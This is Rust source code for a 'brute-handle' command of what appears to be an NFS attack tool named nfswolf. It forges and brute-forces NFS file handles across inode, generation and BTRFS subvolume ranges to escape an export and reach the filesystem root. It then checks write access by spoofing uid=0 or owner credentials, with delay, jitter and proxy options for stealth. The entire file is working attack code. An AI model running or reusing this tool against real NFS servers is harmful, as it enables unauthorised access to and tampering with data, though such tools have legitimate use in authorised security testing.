use anyhow::{Context as _, bail};
use clap::Parser;
use crate::cli::probe::{make_client_with_hostname, make_mount_client, parse_addr_with_port};
use crate::cli::target::{self, Source};
use crate::cli::{GlobalOpts, H_BEHAVIOR, H_TARGET};
use crate::engine::file_handle::{EscapeResult, FileHandleAnalyzer, FsType};
use crate::proto::auth::{AuthSys, Credential};
use crate::proto::nfs3::types::{FileHandle, FileType, access};
use crate::proto::nfs3::{Nfs3Client, PooledNfs3 as _};
use crate::util::stealth::StealthConfig;
enum NfsVersion {
V3,
V2Only,
}
#[derive(Parser)]
pub(crate) struct BruteHandleArgs {
#[arg(help_heading = H_TARGET, value_name = "TARGET")]
pub target: String,
#[arg(short = 'e', long, value_name = "PATH", help_heading = H_TARGET)]
pub export: Option<String>,
#[arg(long, value_name = "HEX", help_heading = H_TARGET)]
pub seed_handle: Option<String>,
#[arg(long, default_value = "10000", value_name = "N", help_heading = H_BEHAVIOR)]
pub max_attempts: u64,
#[arg(long, default_value = "0", value_name = "INODE", help_heading = H_BEHAVIOR)]
pub inode_start: u64,
#[arg(long, default_value = "500", value_name = "INODE", help_heading = H_BEHAVIOR)]
pub inode_end: u64,
#[arg(long, default_value = "0", value_name = "GEN", help_heading = H_BEHAVIOR)]
pub gen_start: u32,
#[arg(long, default_value = "0", value_name = "GEN", help_heading = H_BEHAVIOR)]
pub gen_end: u32,
}
pub(crate) async fn run(args: BruteHandleArgs, globals: &GlobalOpts) -> anyhow::Result<()> {
let target = target::parse(&args.target, args.export.as_deref(), args.seed_handle.as_deref(), false)?;
let host = target.host.to_string();
let addr = parse_addr_with_port(&host, globals.nfs_port)?;
let stealth = StealthConfig::new(globals.delay, globals.jitter);
let (seed, pool_export, nfs_ver) = match &target.source {
Source::Handle(hex) => (FileHandle::from_hex(hex).context("invalid --seed-handle / --handle")?, "/".to_owned(), NfsVersion::V3),
Source::Export(path) => {
let mc = make_mount_client(globals);
if let Ok(mnt) = mc.mount(addr, path).await {
(mnt.handle, path.clone(), NfsVersion::V3)
} else {
eprintln!("{}", crate::output::status_info("MOUNT v3 failed, trying MOUNT v1 (NFSv2)"));
let mnt = mc.mount_v1(addr, path).await.with_context(|| format!("MNT v3 and v1 both failed for {path}"))?;
(mnt.handle, path.clone(), NfsVersion::V2Only)
}
},
Source::None => bail!("no seed handle: pass <HOST>:/export (mounted to derive a seed) or --seed-handle HEX"),
};
let fs = FileHandleAnalyzer::fingerprint_fs(&seed);
let inode_start = args.inode_start;
let inode_end = args.inode_end;
let gen_start = args.gen_start;
let gen_end = args.gen_end;
if inode_end < inode_start {
bail!("--inode-end ({inode_end}) must be >= --inode-start ({inode_start})");
}
if gen_end < gen_start {
bail!("--gen-end ({gen_end}) must be >= --gen-start ({gen_start})");
}
if inode_end > u64::from(u32::MAX) {
tracing::warn!("--inode-end {} exceeds 32-bit maximum; clamping to {}", inode_end, u32::MAX);
}
if inode_start > u64::from(u32::MAX) {
tracing::warn!("--inode-start {} exceeds 32-bit maximum; clamping to {}", inode_start, u32::MAX);
}
let inode_count = inode_end - inode_start + 1;
let gen_count = u64::from(gen_end - gen_start) + 1;
let search_space = inode_count.saturating_mul(gen_count);
let ver_label = if matches!(nfs_ver, NfsVersion::V2Only) { "v2" } else { "v3" };
eprintln!("{}", crate::output::status_info(&format!("Brute-forcing handles on {host} [{fs:?}, {ver_label}] inodes {inode_start}..={inode_end} x gen {gen_start}..={gen_end} ({search_space} candidates, max {})", args.max_attempts)));
let found = match nfs_ver {
NfsVersion::V3 => {
let (_, _, client) = make_client_with_hostname(addr, &pool_export, 0, 0, &[], stealth.clone(), globals.proxy.as_deref(), globals.nfs_port, &globals.hostname);
let result = if matches!(fs, FsType::Btrfs) {
sweep_btrfs(&client, &seed, args.max_attempts, &host).await
} else {
let r = sweep_inodes(&client, &seed, fs, args.max_attempts, inode_start, inode_end, gen_start, gen_end, &host).await;
if !r && matches!(fs, FsType::Unknown) {
eprintln!("{}", crate::output::status_info("Inode sweep found nothing; trying BTRFS subvolume sweep as fallback"));
sweep_btrfs(&client, &seed, args.max_attempts, &host).await
} else {
r
}
};
if result {
result
} else {
eprintln!("{}", crate::output::status_info("NFSv3 sweep failed; retrying with NFSv2"));
sweep_inodes_v2(addr, &seed, args.max_attempts, inode_start, inode_end, gen_start, gen_end, &host, globals).await
}
},
NfsVersion::V2Only => sweep_inodes_v2(addr, &seed, args.max_attempts, inode_start, inode_end, gen_start, gen_end, &host, globals).await,
};
if !found {
eprintln!("{}", crate::output::status_warn("No valid handle found. Try widening --inode-start/--inode-end or --gen-start/--gen-end."));
}
crate::cli::emit_replay(globals);
Ok(())
}
enum Probe {
Dir,
NonDir,
Denied,
Stale,
Miss,
}
async fn probe(client: &Nfs3Client, fh: &FileHandle) -> Probe {
match client.attrs(fh).await {
Ok(a) if a.file_type == FileType::Directory => Probe::Dir,
Ok(_) => Probe::NonDir,
Err(e) if e.is_permission_denied() => Probe::Denied,
Err(e) if e.is_stale() => Probe::Stale,
Err(_) => Probe::Miss,
}
}
async fn writability_hint(client: &Nfs3Client, fh: &FileHandle) -> String {
if access_grants_write(client, fh).await {
return "writable as uid=0 (advisory; rw export, root not squashed)".to_owned();
}
if let Ok(ga) = client.attrs(fh).await {
let attr_uid = ga.uid;
let attr_group = ga.gid;
if attr_uid != 0 {
let owner = client.with_credential(Credential::Sys(AuthSys::with_groups(attr_uid, attr_group, &[attr_group], "nfswolf")), attr_uid, attr_group);
if access_grants_write(&owner, fh).await {
return format!("writable as owner uid={attr_uid} (advisory)");
}
}
}
"read-only (advisory: no write bits for uid=0 or owner; ro export or restrictive perms)".to_owned()
}
async fn access_grants_write(client: &Nfs3Client, fh: &FileHandle) -> bool {
matches!(client.check_access(fh, access::ALL).await, Ok(granted) if access::grants_write(granted))
}
async fn report_hit(client: &Nfs3Client, candidate: &EscapeResult, note: &str, host: &str) {
let rw = writability_hint(client, &candidate.root_handle).await;
let hex = candidate.root_handle.to_hex();
let label = if note.contains("root") || note.contains("Root") { "Root handle" } else { "Handle" };
println!();
println!(" Filesystem: {:?} (inode {} {note})", candidate.fs_type, candidate.inode_number);
println!(" Writability: {rw}");
crate::output::print_handle(label, &hex);
crate::output::print_handle_next_steps(&hex, host);
println!();
}
async fn sweep_inodes(client: &Nfs3Client, seed: &FileHandle, _fs: FsType, max_attempts: u64, inode_start: u64, inode_end: u64, gen_start: u32, gen_end: u32, host: &str) -> bool {
let mut found_root = false;
let mut extra_hits: Vec<(u64, u32, String)> = Vec::new();
let mut stale = 0u64;
let mut tried = 0u64;
'outer: for inode in inode_start..=inode_end {
if tried >= max_attempts {
break;
}
let inode32 = u32::try_from(inode).unwrap_or(u32::MAX);
for generation in gen_start..=gen_end {
if tried >= max_attempts {
break 'outer;
}
let Some(cand) = FileHandleAnalyzer::construct_handle_for_inode(seed, inode32, generation) else {
continue;
};
tried += 1;
match probe(client, &cand.root_handle).await {
Probe::Dir => {
if found_root {
extra_hits.push((inode, generation, cand.root_handle.to_hex()));
} else {
report_hit(client, &cand, &format!("root directory, inode {inode} gen {generation}"), host).await;
found_root = true;
}
},
Probe::Denied => {
if found_root {
extra_hits.push((inode, generation, cand.root_handle.to_hex()));
} else {
report_hit(client, &cand, &format!("inode {inode} gen {generation} (ACCES -- root_squash)"), host).await;
found_root = true;
}
},
Probe::NonDir => extra_hits.push((inode, generation, cand.root_handle.to_hex())),
Probe::Stale => stale += 1,
Probe::Miss => {},
}
}
}
if !extra_hits.is_empty() {
eprintln!("{}", crate::output::status_info(&format!("{} additional valid handle(s) discovered:", extra_hits.len())));
for (inode, generation, hex) in &extra_hits {
eprintln!(" inode {inode:>6} gen {generation:>6} {hex}");
}
}
eprintln!("{}", crate::output::status_info(&format!("Probed {tried} candidates, {stale} STALE")));
found_root
}
async fn sweep_btrfs(client: &Nfs3Client, seed: &FileHandle, max_attempts: u64, host: &str) -> bool {
let max = u32::try_from(max_attempts.min(u64::from(u32::MAX))).unwrap_or(u32::MAX);
let candidates = FileHandleAnalyzer::construct_btrfs_subvol_handles(seed, max);
let mut tried = 0u64;
let mut stale = 0u64;
let mut found_root = false;
let mut extra_hits: Vec<(u32, String)> = Vec::new();
for cand in &candidates {
if tried >= max_attempts {
break;
}
tried += 1;
match probe(client, &cand.root_handle).await {
Probe::Dir => {
if found_root {
extra_hits.push((cand.inode_number, cand.root_handle.to_hex()));
} else {
report_hit(client, cand, &format!("BTRFS subvol {}", cand.inode_number), host).await;
found_root = true;
}
},
Probe::Denied => {
if found_root {
extra_hits.push((cand.inode_number, cand.root_handle.to_hex()));
} else {
report_hit(client, cand, &format!("BTRFS subvol {} (ACCES)", cand.inode_number), host).await;
found_root = true;
}
},
Probe::NonDir => extra_hits.push((cand.inode_number, cand.root_handle.to_hex())),
Probe::Stale => stale += 1,
Probe::Miss => {},
}
}
if !extra_hits.is_empty() {
eprintln!("{}", crate::output::status_info(&format!("{} additional valid handle(s) discovered:", extra_hits.len())));
for (subvol, hex) in &extra_hits {
eprintln!(" subvol {subvol:>6} {hex}");
}
}
eprintln!("{}", crate::output::status_info(&format!("Tried {tried} BTRFS subvols, {stale} STALE")));
found_root
}
async fn sweep_inodes_v2(addr: std::net::SocketAddr, seed: &FileHandle, max_attempts: u64, inode_start: u64, inode_end: u64, gen_start: u32, gen_end: u32, host: &str, globals: &GlobalOpts) -> bool {
use crate::cli::probe::make_v2_client_with_hostname;
use nfs_v2::wire::Nfs2FileHandle;
let stealth = StealthConfig::new(globals.delay, globals.jitter);
let (_pool, _circuit, client) = make_v2_client_with_hostname(addr, "/", 0, 0, &[], stealth, globals.proxy.as_deref(), globals.nfs_port, &globals.hostname);
let mut found_root = false;
let mut extra_hits: Vec<(u64, u32, String)> = Vec::new();
let mut stale = 0u64;
let mut tried = 0u64;
'outer: for inode in inode_start..=inode_end {
if tried >= max_attempts {
break;
}
let inode32 = u32::try_from(inode).unwrap_or(u32::MAX);
for generation in gen_start..=gen_end {
if tried >= max_attempts {
break 'outer;
}
let Some(cand) = FileHandleAnalyzer::construct_handle_for_inode(seed, inode32, generation) else {
continue;
};
let fh = Nfs2FileHandle::from_bytes(cand.root_handle.as_bytes());
tried += 1;
match client.getattr(&fh).await {
Ok(a) => {
let hex = cand.root_handle.to_hex();
let is_dir = a.ftype == nfs_v2::wire::FType::Directory;
if is_dir && !found_root {
report_hit_v2(&cand, &format!("inode {inode} gen {generation}"), host);
found_root = true;
} else {
extra_hits.push((inode, generation, hex));
}
},
Err(e) => {
if matches!(e.status(), Some(nfs_v2::Nfs2Stat::Stale)) {
stale += 1;
}
},
}
}
}
if !extra_hits.is_empty() {
eprintln!("{}", crate::output::status_info(&format!("{} additional valid handle(s) discovered:", extra_hits.len())));
for (inode, generation, hex) in &extra_hits {
eprintln!(" inode {inode:>6} gen {generation:>6} {hex}");
}
}
eprintln!("{}", crate::output::status_info(&format!("Probed {tried} candidates (v2), {stale} STALE")));
found_root
}
fn report_hit_v2(candidate: &EscapeResult, note: &str, host: &str) {
let hex = candidate.root_handle.to_hex();
println!();
println!(" Filesystem: {:?} (inode {} {note})", candidate.fs_type, candidate.inode_number);
println!(" Writability: unknown (NFSv2 has no ACCESS procedure)");
crate::output::print_handle("Handle", &hex);
crate::output::print_handle_next_steps(&hex, host);
println!();
}